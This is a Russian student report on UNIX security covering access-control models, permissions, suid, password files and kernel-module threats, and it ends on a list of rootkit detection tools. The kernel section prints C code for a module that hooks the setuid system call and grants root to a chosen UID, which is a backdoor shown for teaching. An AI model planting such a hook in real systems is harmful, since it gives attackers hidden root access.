Безопасность UNIX

Размещено на http://www.allbest.ru/

Содержание

• Введение
• 1. О компании
• 2. Введение в безопасность UNIX
• 2.1 История развития UNIX
• 2.1 Основы информационной безопасности
• 2.3 Концепции безопасности UNIX
• 2.4 Настройка системы безопасности
• 3. Безопасность ядра UNIX
• 4. Усиление безопасности UNIX
• Заключение
• Список использованной литературы

Введение

Первая система UNIX была разработана в 1969 году в подразделении Bell Labs компании AT&T. С тех пор было создано большое количество различных UNIX-систем. Юридически лишь некоторые из них имеют полное право называться «UNIX»; остальные же, хотя и используют сходные концепции и технологии, объединяются термином «UNIX-подобные» (англ. UNIX-like). Для краткости, в данной статье под UNIX-системами подразумеваются как истинные UNIX, так и UNIX-подобные ОС.

Отличительные признаки UNIX-систем:

-использование простых текстовых файлов для настройки и управления системой;

-широкое применение утилит, запускаемых из командной строки;

-взаимодействие с пользователем посредством виртуального устройства - терминала;

-представление физических и виртуальных устройств и некоторых средств межпроцессового взаимодействия в виде файлов;

-использование конвейеров из нескольких программ, каждая из которых выполняет одну задачу.

В настоящее время UNIX-системы распространены в основном среди серверов, а также как встроенные системы для различного оборудования. Среди ОС для рабочих станций и домашнего применения UNIX и UNIX-подобные ОС занимают после Microsoft Windows второе (OS X), третье (GNU/Linux) и многие последующие места.

UNIX-системы имеют большую историческую важность, поскольку благодаря им распространились некоторые популярные сегодня концепции и подходы в области ОС и программного обеспечения. Также, в ходе разработки UNIX-систем был создан язык Си.

Одними из самых известных примеров UNIX-подобных ОС являются OS X, Linux, Solaris, BSD и NeXTSTEP

1. О компании

ТОО «Тулпар-ИнТех» является одним из пионеров казахстанского бизнеса в научно-технической области. В 1989 году было зарегистрировано научно-техническое производственное объединение «Есеп» при ЦК ЛКСМ Казахстана, а в 1990 году - филиал объединения в г. Караганда. В 1991 году филиал перерегистрирован в самостоятельное предприятие ТОО «Тулпар». В 2006 году путем разделения было зарегистрировано ТОО «Тулпар-ИнТех» в г.Астана.

Миссией компании является активное содействие экономической политике проводимой Президентом страны - Государственной программе форсированного индустриально-инновационного развития, программам импортозамещения, поддержки отечественного товаропроизводителя, производства экспортоориентированной высокотехнологичной конкурентоспособной продукции и продукции с высокой добавленной стоимостью.

Основная деятельность компании связана с фундаментальными и прикладными научными исследованиями в области математики, физики, электроники, информационных технологий, научно-техническими прикладными разработками и внедрением их в различные области народного хозяйства. Сферой интересов компании являются высокие технологии - high-tech, а именно высокоточное приборостроение и системы измерений, лазерные и импульсные технологии, неразрушающий контроль, информационные технологии, высокоэффективные модели в геологоразведке, диагностические системы в здравоохранении (компьютерная томография), сельское хозяйство, прогнозные модели фондового рынка, ресурсо и энергосберегающие технологии.

В течение последних десяти лет компания разработала от идеи и патента до внедрения в промышленную эксплуатацию отечественную аппаратуру вагонов-путеизмерителей и вагонов-дефектоскопов, аппаратура ТОО «ТУЛПАР-ИнТех» зарегистрирована в Государственном реестре средств измерений, компания аккредитована и имеет поверочную лабораторию по стандарту СТ РК ИСО/МЭК 17025-2007.

ТОО «ТУЛПАР-ИнТех» является единственным отечественным товаропроизводителем в указанной области, имеет лицензии на производство и ремонт средств измерений, аттестат аккредитации, патенты, авторские свидетельства, заключения Министерства транспорта и коммуникаций Республики Казахстан, Министерства индустрии и новых технологий, Комитета по техническому регулированию и метрологии (Госстандарт), Комитета по правам интеллектуальной собственности, Агентства Республики Казахстан по регулированию естественных монополий, сертификаты отечесвтенного товаропроизводителя по форме CT-KZ, а также является унифицированным поставщиком товаров и услуг. ТОО «ТУЛПАР-ИнТех» включено в реестр отечественных товаропроизводилей Группы фонда «Самрук-?азына».

За время сотрудничества в течении десяти лет с АО «Национальная компания «?аза?стантеміржолы» был заключен и исполнен ряд договоров на поставку диагностических средств с сопутствующими услугами. Компанией освоены все виды работ по техническому обслуживанию и сервиса, включающие ежегодное техническое обслуживание, среднесрочный ремонт, капитальный ремонт, модернизацию, обучение экипажей, и поверку средств измерений. При этом стоимость оборудования и услуг не превышает стоимость аналогичного оборудования и услуг зарубежных поставщиков и является конкурентноспособной.

Предприятие вносит большой вклад в становление молодых инженерных кадров в области электроники, программирования, физики и прикладной математики. Свыше нескольких десятков человек работавшие в компании, сегодня являются первоклассными специалистами и успешно трудятся на благо нашей страны в различных государственных и частных структурах.

2. Введение в безопасность UNIX

Поскольку ОС UNIX с самого своего рождения задумывалась как многопользовательская операционная система, в ней всегда была актуальна проблема разделения доступа различных пользователей к файлам файловой системы. Схема безопасности, примененная в ОС UNIX, проста и удобна и одновременно достаточно мощна, что стала фактическим стандартом современных многопользовательских операционных систем.

Все информационные ресурсы условно делятся на три зоны: красную, желтую и зеленую.

К красной зоне относятся хосты, имеющие реальные IP-адреса, их ресурсы являются внешним периметром, находящимся, что называется, «на острие атаки».

Сервера в желтой зоне имеют частные IP-адреса, но размещенные на них ресурсы доступны как из интернета, так и из локальной сети. Они располагаются в демилитаризованной зоне (DMZ), и только часть из них доступна через интернет.

Ресурсы локальной сети относятся к зеленой зоне и не предоставляют никакие сервисы за ее пределами.

Подобная организация сетевой инфраструктуры предполагает эшелонированную систему обороны, при которой каждая из зон представляет собой отдельный слой фортификационных сооружений, и эти слои как бы вложены друг в друга для обеспечения безопасности локальной сети.

Зеленая зона считается относительно безопасной, так как к ней запрещен доступ из интернета. Иллюзия безопасности усиливается при использовании домена Active Directory, который создает свой «круг доверия», используя централизованную базу данных с настройками доступа к ресурсам локальной сети. Управляющий сервер в домене называется контроллером домена. В чем же ахиллесова пята Active Directory? Некоторым приложениям для полного доступа к службе каталогов требуются административные привилегии, а следовательно, взлом любого из таких сервисов даст злоумышленнику контроль над всеми компьютерами сети.

Как правило, для снижения рисков, связанных со взломом сетевых сервисов в рамках локальной сети, используются следующие меры:

-использование непривилегированных учетных записей для запуска сетевых сервисов (демонов)

-запуск сервисов в Chroot

-настройка межсетевого экрана

-для почтовых серверов используются антивирусы и антиспам-решения

-для серверов, выступающих в роли интернет-шлюзов, применяются прокси-сервера

-применение сетевого суперсервера для ограничения доступа к сервисам;

-использование политик безопасности SELinux/AppArmor в Linux, MAC во FreeBSD;

-виртуализация серверов с использованием технологий OpenVZ/LXC в Linux и Jail в FreeBSD;

-виртуализация приложений путем совмещения помещения сервисов в Chroot и применения к ним политик безопасности.

2.1 История развития UNIX

Первоначальные UNIX работали на крупных многопользовательских компьютерах, к которым также предлагались и проприетарные ОС от производителя оборудования, такие как RSX-11 и её потомок VMS. Невзирая на то, что по ряду мнений тогдашний UNIX имел недостатки по сравнению с данными ОС (например, отсутствие серьёзных движков баз данных), он был а) дешевле, а иногда и бесплатен для академических учреждений б) был портируем с оборудования на оборудование, и разработан на портируемом языке Си, что «отвязывало» разработку программ от конкретной аппаратуры. Кроме того, «отвязанным» от аппаратуры и производителя оказался и опыт пользователя -- человек, работавший с UNIX на VAX, легко работал с ней же и на 68xxx, и так далее.

Производители аппаратуры в то время часто прохладно относились к UNIX, считая её игрушечной, и предлагая свою проприетарную ОС для серьёзной работы -- в первую очередь СУБД и основанных на них бизнес-приложений в коммерческих структурах. Известны комментарии по этому поводу от DEC по поводу её VMS. К этому прислушивались корпорации, но не академическая среда, которая имела все для себя необходимое в UNIX, зачастую не требовала официальной поддержки от производителя, справляясь своими силами, и ценила дешевизну и переносимость UNIX.

Таким образом, UNIX была едва ли не первой переносимой на разную аппаратуру ОС.

Вторым резким взлетом UNIX было появление RISC-процессоров около 1989 года. Ещё до того существовали т. н. workstations -- персональные однопользовательские компьютеры большой мощности, имеющие достаточный объём памяти, жесткого диска и достаточно развитую ОС (многозадачность, защита памяти) для работы с серьёзными приложениями, такими, как CADы. Среди производителей таких машин выделялась компания Sun Microsystems, сделавшая себе на них имя.

До появления RISC-процессоров в этих станциях обычно использовался процессор Motorola 68xxx, тот же, что и в компьютерах фирмы Apple (хотя и под более развитой операционной системой, чем у Apple).

Около 1989 года на рынке появились коммерческие реализации процессоров RISC-архитектуры. Логичным решением ряда компаний (Sun и других) был перенос UNIX на эти архитектуры, что немедленно повлекло за собой и перенос всей экосистемы ПО для UNIX.

Проприетарные серьёзные ОС, такие как VMS, начали свой закат именно с этого момента (даже если и удалось перенести на RISC саму ОС, все было намного сложнее с приложениями под неё, которые в этих экосистемах зачастую разрабатывались на ассемблере или же на проприетарных языках типа BLISS), и UNIX стал ОС для самых мощных компьютеров в мире.

Однако в это время экосистема PC начала переходить на GUI в лице Windows 3.0. Огромные преимущества GUI, а также, например, унифицированная поддержка всех типов принтеров, были оценены и разработчиками, и пользователями. Это сильно подорвало позиции UNIX на рынке PC -- реализации такие, как SCO и Interactive UNIX, не справлялись с поддержкой Windows-приложений. Что же касается GUI для UNIX, называемого X11 (были и иные реализации, много менее популярные), то он не мог полноценно работать на обычной пользовательской PC ввиду требований к памяти -- для нормальной работы X11 требовалось 16 МБ, в то время как Windows 3.1 с достаточной производительностью исполняла и Word, и Excel одновременно в 8 МБ (это стало стандартным размером памяти PC в то время). При высоких ценах на память это было лимитирующим фактором.

Успех Windows дал импульс внутреннему проекту Microsoft под названием Windows NT, которая была совместима с Windows по API, но при этом имела все те же архитектурные особенности серьёзной ОС, что и UNIX -- многозадачность, полноценную защиту памяти, поддержку многопроцессорных машин, права доступа к файлам и директориям, системный журнал. Также Windows NT представила журнальную файловую систему NTFS, которая по возможностям на тот момент превышала все стандартно поставляемые с UNIX файловые системы -- аналоги под UNIX были только отдельными коммерческими продуктами от Veritas и других.

Хотя Windows NT и не была популярна первоначально из-за высоких требований к памяти (те же 16 МБ), она позволила Microsoft выйти на рынок решений для серверов, например, СУБД. Многие в то время не верили в возможность Microsoft, традиционно специализирующейся на настольном ПО, быть игроком на рынке ПО масштаба предприятия, где уже были свои громкие имена, такие как Oracle и Sun. К этому сомнению добавлялся тот факт, что СУБД Microsoft -- SQL Server -- начинался как упрощенная версия Sybase SQL Server, лицензированная у Sybase и на 99 % совместимая по всем аспектам работы с ним.

Во второй половине 1990-х годов Microsoft начал теснить UNIX и на рынке корпоративных серверов.

Совокупность вышеперечисленных факторов, а также огромное падение цены на 3D-видеопроцессоры, ставшими из профессионального оборудования домашним, по сути убила само понятие workstation к началу 2000-ных годов.

Кроме того, системы Microsoft проще в управлении, особенно в типовых сценариях использования.

Излишне говорить, что все это не добавило положительных эмоций UNIX-сообществу, а коммерческие UNIX-системы от производителей аппаратуры, такие как Solaris, оказались просто под угрозой.

Но в данный момент начался третий резкий взлет UNIX. Ещё в конце 80-х годов Ричард Столлман подытожил те неформальные практики в отношении прав на ПО, что существовали в академической среде (откуда вышли и первоначальные поклонники UNIX) и по сути являлись производными от принятых в этой среде прав на научные открытия и изобретения.

Результатом явилась лицензия GPL, кроме того, Столлман и его товарищи, прекрасно понимая, что для успеха не завязанного на корпорации программного обеспечения необходимы не проприетарные средства разработки, разработал набор компиляторов для различных языков программирования (gcc), что вместе с разработанными ранее утилитами GNU (замена стандартных утилит UNIX) составило необходимый и достаточно мощный пакет программ для разработчика.

Для создания полностью свободного UNIX не хватало по сути только ядра ОС. И оно было разработано финским студентом Линусом Торвалдсом. Ядро было разработано «с нуля» и не является с точки зрения исходного кода деривативом ни BSD, ни System V (хотя концепты таки заимствовались, например, Linux имел функции namei и bread), однако по ряду нюансов (системные вызовы, богатая /proc, отсутствие sysctk) -- больше тяготеет к последней.

Первоначально Linux был в достаточной степени неразвитым и примитивным проектом. Однако он верно нашёл для себя нишу, сначала как учебного UNIX (замена Minix Таненбаума), а затем -- как раз тогда началось активное развитие Интернета -- и веб-сервера.

Серьёзным конкурентом Linux на тот момент была FreeBSD, однако «соборный» стиль управления разработкой в противовес «базарному» стилю Linux, а также куда большая техническая архаичность в таких вопросах, как поддержка многопроцессорных машин и форматы исполняемых файлов, сильно замедлила развитие FreeBSD по сравнению с Linux, сделав последний флагманом мира свободного ПО.

В дальнейшем Linux достигал все новых и новых высот:

-перенос серьёзных проприетарных продуктов, таких как Oracle;

-серьёзный интерес IBM к этой экосистеме как основе для своих вертикальных решений;

-появление аналогов почти всех привычных программ из мира Windows;

-отказ некоторых производителей оборудования от обязательной предустановки Windows;

-выпуск нетбуков с одной лишь Linux;

-использование в качестве ядра в Android;

На настоящий момент Linux есть заслуженно популярная ОС для серверов, хотя и куда менее популярная на рабочих столах.

2.2 Основы информационной безопасности

Информационная безопасность - меры по защите информации от неавторизованного доступа, разрушения, модификации, раскрытия и задержек в доступе. Основой информационной безопасности любой организации является политика безопасности.

Политика безопасности - это набор законов, правил и норм поведения, определяющих, как организация обрабатывает, защищает и распространяет информацию. Это активный компонент защиты, который включает в себя анализ возможных угроз и выбор мер противойдействия.

Важным элементом политики безопасности является управление доступом: ограничение или исключение несанкционированного доступа к информации и программным средствам. При этом используются два основных понятия: объект и субъект системы. Объектом системы мы будем называть любой её идентифицируемый ресурс (например, файл или устройство). Доступом к объекту системы - некоторую заданную в ней операцию над этим объектом (скажем, чтение или запись). Действительным субъектом системы назовем любую сущность, способную выполнять действия над объектами (имеющую к ним доступ). Действительному субъекту системы соответствует некоторая абстракция, на основании которой принимается решение о предоставлении доступа к объекту или об отказе в доступе. Такая абстракция называется номинальным субъектом. Например, студент КарГТУ - действительный субъект, его пропуск в КарГТУ - номинальный. Другим примером может служить злоумышленник, прокравшийся в секретную лабораторию с украденной картой доступа - он является действительным субъектом, а карта - номинальным.



Рисунок 1.1 Объект и субъект безопасности.

Политика безопасности должна быть полной, непротиворечивой и рассматривать все возможности доступа субъектов системы к её объектам. Только соблюдение всех трех принципов гарантирует, что нарушить установленные правила (например, получить несанкционированный доступ к объекту) системными средствами невозможно. Если же предполагаемый злоумышленник воспользовался каким-нибудь внесистемным средством и смог получить статус номинального субъекта, к которому он не имеет отношения (например, подглядел чужой пароль и работает под чужим именем), никаких гарантий быть не может.

Полнота политики безопасности означает, что в ней должны быть отражены все существующие ограничения доступа. Непротиворечивость заключается в том, что решение об отказе или предоставлении доступа конкретного субъекта к конкретному объекту не должно зависеть от того, какими путями система к нему приходит. Третье требование, называемое также отсутствием недокументированных возможностей, должно гарантировать нам, что доступ не может быть осуществлен иначе как описанным в политике безопасности способом.

Существует несколько схем управления доступом, называемых моделями доступа. Рассмотрим самые известные из них:

1) Мандатная модель доступа. Объектам и субъектам системы ставится в соответствие метка безопасности или мандат (например, гриф секретности). При этом метка безопасности субъекта описывает его благонадёжность, а метка безопасность объекта - степень закрытости информации. Доступ к объекту разрешён только субъектам с соответствующей или более сильной меткой.

Недостатком такой схемы можно считать слишком грубое деление прав, необходимость введения категорий доступа и т.п.. Также для данной модели доступа очень важно разработать механизм понижения секретности теряющих важность документов.

2) Списки доступа (Access Control Lists, ACL). Все субъекты и объекты системы объединяются в таблицу, в строках которой находятся субъекты (активные сущности), а в столбцах - объекты (пассивные сущности), элементы же такой таблицы содержат перечисление прав, которыми субъект обладает в отношении данного объекта. Такая схема называется субъект-объектная модель.

Недостатками можно считать огромный размер таблицы и сложность администрирования в случае большого числа объектов и субъектов в системе.

3) Произвольное управление доступом. Каждому объекту сопоставляется один субъект - владелец объекта. Владелец может по своему усмотрению давать другим субъектам или отнимать у них права на доступ к объекту. Если объект имеет несколько хозяев, они могут быть объединены общим субъектом - группой. Такая схема позволяет значительно сократить размер таблицы прав субъектов по отношению к объектам. Эта схема также называется объект-субъектная модель.

Недостатком этой схемы является значительное облегчение управления доступом, что не позволяет простроить сложные отношения между субъектами и объектами.

Аутентификация и авторизация. Авторизация - это процесс определения того, имеет или не имеет некоторый субъект доступ к некоторому объекту. Авторизация может быть:

-статической- вопрос о доступе к объекту решается один раз, когда права задаются или изменяются, при этом пользователю ставится в соответствие некоторый номинальный субъект системы;

-динамической- принятие решения о доступе производится при каждом обращении к объекту, часто это носит характер ограничения возможностей пользователя по объёму памяти и дискового пространства, времени работы и т.п..

Процессу авторизации всегда должен предшествовать процесс аутентификации. Аутентификация - это механизм сопоставления работающего пользователя системы некоторому номинальному субъекту. Как правило, при этом пользователю необходимо ввести пароль или предоставить секретный ключ.

2.3 Концепции безопасности UNIX

В UNIX роль номинального субъекта безопасности играет пользователь. Каждому пользователю выдается (обычно - одно) входное имя (login). Каждому входному имени соответствует единственное число, идентификатор пользователя (User IDentifier, UID). Это число и есть ярлык субъекта, которым система пользуется для определения прав доступа.

Каждый пользователь входит в одну или более групп. Группа - это образование, которое имеет собственный идентификатор группы (Group IDentifier, GID), объединяет нескольких пользователей системы, а стало быть, соответствует понятию множественный субъект. Значит, GID - это ярлык множественного субъекта, каковых у действительного субъекта может быть более одного. Таким образом, одному UID соответствует список GID.

Роль действительного (работающего с объектами) субъекта играет процесс. Каждый процесс снабжен единственным UID: это идентификатор запустившего процесс пользователя. Любой процесс, порожденный некоторым процессом, наследует его UID. Таким образом, все процессы, запускаемые по желанию пользователя, будут иметь его идентификатор. UID учитываются, например, когда один процесс посылает другому сигнал. В общем случае разрешается посылать сигналы «своим» процессам (тем, что имеют такой же UID).

Права доступа. Роль объекта в UNIX играют многие реальные объекты, в частности представленные в файловой системе: файлы, каталоги, устройства, каналы и т. п.. Каждый файл снабжён UID - идентификатором пользователя-владельца. Вдобавок у файла есть единственный GID, определяющий группу, которой он принадлежит.

На уровне файловой системы в UNIX определяется три вида доступа: чтение (read, r), запись (write, w) и использование (execution, x). Право на чтение из файла дает доступ к содержащейся в нем информации, а право записи - возможность ее изменять. При каждом файле имеется список того, что с ним может делать владелец (если совпадает UID процесса и файла), член группы владельцев (если совпадает GID) и кто угодно (если ничего не совпадает). Такой список для каждого объекта системы занимает всего несколько байт.

Рисунок 1.2 «Базовые права доступа в UNIX»

Флаг использования трактуется по-разному в зависимости от типа файла. В случает простого файла он задаёт возможность исполнения файла, т.е. запуска программы, содержащейся в этом файле. Для директории - это возможность доступа к файлам в этой директории (точнее говоря, к атрибутам этих файлов - имени, правам доступа и т.п..).

Рассмотрим последовательность проверки прав на примере.

Рисунок 1.3 «Последовательность проверки прав доступа в UNIX».

Пусть файл имеет следующие атрибуты:

file.txt alice:users rw- r-- ---

Т.е. файл принадлежит пользователю «alice», группе «users» и имеет права на чтение и запись для владельца и только чтение для группы.

Пусть файл пытается прочитать пользователь «bob». Он не является владельцем, однако он является членом группы «users». Значит, он имеет права на чтение этого файла.

Разделяемые каталоги. Права записи в директорию трактуются как возможность создания и удаления файлов, а также измеение атрибутов файлов (например, переименование). При этом субъекту не обязательно иметь права на запись в эти удаляемые файлы.

Таким образом, из своего каталога пользователь может удалить любой файл. А если запись в каталог разрешена всем, то любой пользователь сможет удалить в нём любой файл. Для избежания этой проблемы был добавлен ещё один бит в права доступа каталога: бит навязчивости (sticky, t-бит). При его установке пользователь, имеющий доступ на запись в этот каталог, может изменять только собственные файлы.

Подмена идентификатора субъекта. В UNIX существует механизм, позволяющий пользователям запускать процессы от имени других пользователей. Это может быть полезным, если одному пользователю необходимо на время предоставлять права другого (например, суперпользователя).

Для разрешения подмены идентификатора пользователя применяется бит подмены идентификатора пользователя (set user id, suid-бит, s). Этот бит применяется совместно с битом исполнения (x) для обычных файлов. При установке этого бита на исполняемый файл процесс запускается от имени владельца, а не от имени запускающего пользователя.

Рисунок 1.4 «Подмена идентификатора пользователя».

Подмена идентификатора пользователя является потенциальной угрозой безопасности системы и должна использоваться осторожно.

Недостатки базовой модели доступа и её расширения. Ограниченность системы прав UNIX приводит к тому, что, к примеру, невозможно создать такое положение вещей, когда одна группа пользователей могла бы только читать из файла, другая - только запускать его, а всем остальным файл вообще не был бы доступен. Другое дело, что такое положение вещей встречается нечасто.

Со временем в различных версиях UNIX стали появляться расширения прав доступа, позволяющие устанавливать права на отдельные объекты системы. Поначалу это были так называемые флаги - дополнительные атрибуты файла, не позволяющие, например, переименовывать его или удалять из него информацию при записи (можно только дописывать). Флаги не устраняют главного недостатка, зато их легко организовать без изменения файловой системы: каждый флаг занимает ровно один бит.

Многие современные файловые системы UNIX поддерживают также списки доступа (ACL), с помощью которых можно для каждого объекта задавать права всех субъектов на доступ к нему.

На практике флаги или управление доступом использовать приходится нечасто. В большинстве случаев такая необходимость возникает в виде исключения - например, для временного уменьшения прав или для временного предоставления доступа (легко сделать с помощью ACL), а также при работе с очень важными файлами.

Суперпользователь. Пользователь root (он же суперпользователь) имеет нулевые UID и GID и играет роль доверенного субъекта UNIX. Это значит, что он не подчиняется законам, которые управляют правами доступа, и может по своему усмотрению эти права изменять. Большинство настроек системы доступны для записи только суперпользователю.

Как было сказано ранее (см. раздел «Беглый взгляд на архитектуру UNIX»), в UNIX существует уровень доступа ядра и уровень доступа системы. Суперпользователь работает на уровне доступа ядра, так что является по сути продолжением самой системы.

Многие команды должны исполняться только от имени суперпользователя, так как в них производится взяимодействие с частями ядра, отвечающими за взаимодействие с аппаратурой, права доступа и т.п.. Если же такие команды разрешается запускать простым пользователям, применяется рассмотренный выше механизм подмены идентификатора пользователя.

Системное администрирование в UNIX производится от имени пользователя root. При работе от этого имени следует быть очень осторожным: выполнение неверной команды может привести к краху системы и уничтожению информации. Поэтому даже администраторы никогда не работают в сеансе суперпользователя всё время, а переходят в режим суперпользователя только тогда, когда это действительно необходимо (например, с помощью команды su).

Аутентификация пользователей. В UNIX сеанс работы пользователя начинается с его аутентификации и заканчивается его выходом из системы. При входе в систему выполняется следующая последовательность действий:

-процесс getty ожидает реакции пользователя на одной из терминальных линий, в случае активности пользователя выводит приглашение;

-после ввода имени пользователя запускается программа login, которая проверяет подлинность пользователя. Стандартным механизмом является проверка пароля, заданного для данного пользователя;

-убедившись, что пароль введён правильно, login запускает командный интерпретатор с установленными UID и GID данного пользователя. Таким образом, права доступа любой программы (действительного субъекта), запущенной пользователем в этом сеансе работы, будут определяться правами номинального субъекта UID+GID.

unix операционный безопасность ядро



Рисунок 1.5. Процесс входа в систему.

При работе по сети роль getty исполняет сетевой демон, например ssh. В некоторых современных UNIX-системах существуют расширения систем авторизации и аутентификации. Например, в Linux-системах этот механизм называется подключаемые модули аутентификации (Pluggable Authentication Modules, PAM).

2.4 Настройка системы безопасности

База данных пользователей системы. Все данные о пользователях UNIX хранит в файле /etc/passwd в текстовом виде. Каждому пользователю соответствует одна строка, поля которой разделяются двоеточиями:

входное имя:x:UID:GID:полное имя:домашний каталог:стартовый shell

Пример файла /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/bin/false

daemon:x:2:2:daemon:/sbin:/bin/false

adm:x:3:4:adm:/var/adm:/bin/false

...

Каждый пользователь явно связан с одной из групп - это основная группа пользователя. Это сделано для того, чтобы каждый пользователь состоял хотя бы в одной группе. Все новые файлы, создаваемые этим пользователем, в качестве группы владельцев будут иметь его основную группу.

Из примера видно, что некоторые пользователи имеют «неправильные» командные оболочки, работа в которых невозможна. Это сделано специально для того, чтобы исключить возможность входа таких пользователей в систему.

Пароли на вход в систему пользователей в UNIX не хранятся в открытом виде, хранятся только их хэши (набор байт, получаемый из пароля с помощью односторонней функции). Даже если злоумышленник получит значение этого хэша, ему придется подбирать пароль, применяя данную одностороннюю функцию к различным словам и сравнивая со значением хэша. Часто хэши хранятся в специальном файле (например, /etc/shadow), доступ к которому разрешен только системе, так что перебор вообще не возможен.

Аналогичным образом информация о группах хранится в файле /etc/group. Каждой строке файла соответствует информация о группе: её имя, числовой идентификатор и список пользователей, входящих в эту группу.

Изменение информации о пользователях, также как и добавление новых пользователей, может производиться простым редактированием этого файла, однако более корректным способом является использование специальных утилит, которые рассматриваются далее.

Изменение базы данных пользователей. Для добавления и удаления пользователей и групп существует набор команд: useradd, userdel, groupadd, groupdel. Эти команды доступны только суперпользователю и имеют единственный обязательный параметр: имя пользователя или группы.

С помощью команд usermod и groupmod можно изменять информацию в базах данных пользователей и групп. Эти команды также может выполнять только администратор системы.

Команда passwd позволяет простым пользователям изменять свой системный пароль, а суперпользователю - изменять пароль любого из пользователей системы.

Изменение прав доступа. Для изменения владельца файла или группы владельцев используются команды chown и chgrp. Из соображений безопасности спользовать эти команды может только суперпользователь.

Пользователь может изменять права доступа к своим файлам с помощью команды chmod.

Ограничения сеанса пользователя. В UNIX существует ряд динамических ограничений, накладываемых на процесс аутентификации пользователя и запущенные им программы. Ограничения можно разделить на следующие группы:

- ограничения входа в систему- вход пользователя в систему может быть ограничен видом терминала, удалённым адресом (в случае сетевого входа в систему), временем работы. Для задания этих ограничений в некоторых UNIX-системах используется файл /etc/login.access

- ограничения запускаемых процессов- процессы пользователей могут быть ограничены по одному из следующих параметром: объём используемой памяти, число одновременно открытых файлов, число запускаемых процессов и т.п.. Для задания этих ограничений в некоторых UNIX-системах используется файл /etc/limits.

- ограничения использования диска- дисковые квоты позволяют ограничить объём используемого пространства жёсткого диска для каждого из пользователей системы. Для настройки данного ограничения необходима утилита quote, а также поддержка в выбранной файловой системе.

Ограничения действуют на протяжении всего сеанса работы пользователя.

3. Безопасность ядра ОС UNIX

Ядро любой операционной системы является ее основой. Оно управляет всеми операциями ввода-вывода для всех устройств, выдает системные ресурсы для каждого процесса и выдает отчет о работе системы. Без него работа компьютера невозможна. Скомпрометированное ядро представляет опасность для работы всех служб независимо от того, какие функции выполняет данный компьютер. В данной статье не раскрыты возможности относительно безопасности, предоставляемые ядром, а рассказаны проблемы, связанные с защитой ядра, как такового, а также раскрыты существующие уязвимости ядра и варианты понижения вытекающих из них рисков.

Ядро ОС UNIX представляет собой единый полнофункциональный код. При включении компьютера BIOS передает управление загрузчику, который в свою очередь передает управление компьютером ядру. Посредствам загрузчика может быть выбрано то или иное ядро, но, загрузившись, его невозможно сменить вплоть до последующей перезагрузки компьютера. И ничего более не оказывает теперь такого определяющего воздействия на работу системы, как деятельность ядра. Исходные коды различных версий ядер UNIX открыты и доступны в Интернете. Ядро обычно собирается с учетом тех функциональных требований, которые предъявляются к непосредственно взятому компьютеру. Так в ядра некоторых ОС, к которым предъявляются требования удобств, встроена графическая оболочка. Если ОС устанавливается на маршрутизаторе, рациональным является исключение всех средств за исключением самых необходимых.

В случае компрометации системы, например подбора пароля суперпользователя root, существует предел действий злоумышленника. Если он запустит несколько резидентных программ, создаст нового пользователя с привилегиями root, рано или поздно он может быть обнаружен системным администратором, даже если сможет обойти все уровни защиты. Системный администратор может обнаружить действия хакера, воспользовавшись рядом самых простых команд, таких как who, ps, netstat, просмотрев журналы системы логирования или сравнив бинарные файлы с их оригиналами, взятыми из достоверных источников. В случае более профессиональной атаки, если скомпрометировано ядро, системному администратору обнаружить несанкционированные действия становится значительно сложнее. А если действует опытный нарушитель, это становится практически невозможным. Здесь поможет только полная переустановка ОС, о чем будет рассказано далее.

Модифицировать ядро ОС UNIX можно, дополняя или заменяя модули. Это позволяет модифицировать его, не прибегая к перекомпиляции, а также к перезагрузке компьютера, что является очень гибким инструментом. Загрузка и отключение модулей ядра бывают полезны, когда требуется добавить какие-то функции ядру или при установке нового устройства. Модули имеют непосредственный доступ ко всем переменным среды окружения. Это удобно, но становится опасным, если используется в негативных целях. Например, злоумышленник может написать и загрузить свой собственный модуль, используя команды modprobe и rmmod. Такой <<негативный>> модуль может перехватывать и обрабатывать по своему усмотрения системные вызовы, например системы логирования, что может обеспечить хакеру прозрачность нахождения в системе или работы какого-либо сервиса.

Вот пример программного кода, позволяющего перехватить системный вызов setuid(). Происходит проверка UID пользователя и в случае, если это 19222, то UID изменяется на новый, равный 0. Т.е. любая программа, вызвавшая setuid(19222) выполняется с привилегиями root, независимо от того, какой пользователь ее запустил.

int new_uid (uid_t);

int (*old_uid)(uid_t);

extern void *sys_call_table[];

int init_module(){

register struct module *mp asm ("%ebx");

*(char *) (mp->name) = `d';

*(char *) (mp->name+1) = `s';

*(char *) (mp->name+2) = `2';

*(char *) (mp->name+3) = `\0';

old_uid = sys_call_table [SYS_setuid];

sys_call_table [SYS_setuid] = (void *) new_uid;

return 0;

}

int cleanup_module(){

sys_call_table[ SYS_setuid] = (void *)old_uid;

return 0;

}

int new_uid(uid_t uid){

if (uid ==19222 ) {

current ->uid =0;

current ->gid =0;

current ->euid =0;

current ->egid =0;

return 0;

}

return (*old_uid)(uid);

}

При грамотной работе злоумышленника (хотя такие средства безусловно применяются и в благих целях) модуль не будет виден в списке загруженных модулей и его невозможно будет выгрузить. Здесь перед злоумышленником открываются возможности, ограниченные лишь его фантазией.

Новый модуль может носить название, сходное с оригиналом, хотя и скрыть от системного администратора наличие нелегального модуля не представит сложность для опытного нарушителя. Также есть возможность не только добавить новый модуль, но и перекомпилировать уже действующий, изменив его функции.

В настоящее время доступно большое количество готовых программ, реализующих такого рода атаки. Но также доступными являются и средства противодействия, которые позволяют выявить установленные в системе наборы средств для взлома. По нашему мнению, заслуживает внимания программа Rkdet (http://www.vancouver-webpages.com/rkdet/). Эту программу следует запустить, когда компьютер точно не скомпрометирован и работает нормально. Программа Rkdet работает в режиме демона и проверяет контрольные суммы двоичных файлов. При выявлении изменений в двоичном файле по электронной почте отправляется сообщение о тревоге, после чего блокируется сетевой интерфейс до вмешательства системного администратора, который должен устранить проблему (не забывайте отключить Rket при обновлении своего программного обеспечения).

Программа Chkrootkit (http://www.chkrootkit.org) обладает даже большими возможностями, чем Rkdet, дополнительно сверяя результаты выполнения команды ps с записями в каталоге /proc и проверяя изменения файлов wtmp и lastlog. Эта программа специально предназначена для выявления более чем 35 наборов программ для взлома, включая различные версии LKR, Knark t0rn, ARK и даже ряда <<червей>>, таких как например Ramen, Lion и Adore. Программа Chkrootkit может выявлять даже дополнительные наборы средств для взлома, поскольку многие из них работают по сходному алгоритму.

Программа Chkrootkit может работать под управлением различных операционных систем UNIX, например Solaris и *BSD-системах. Весь пакет управляется специальным сценарием командного интерпретатора, который при необходимости вызывает обслуживающие программы. В частности, среди действий, отслеживаемых Chkrootkit, можно назвать следующие:

- удаление записей в файлах lastlog, wtmp и wtmpx;

- перевод сетевого интерфейса в <<неразборчивый>> режим;

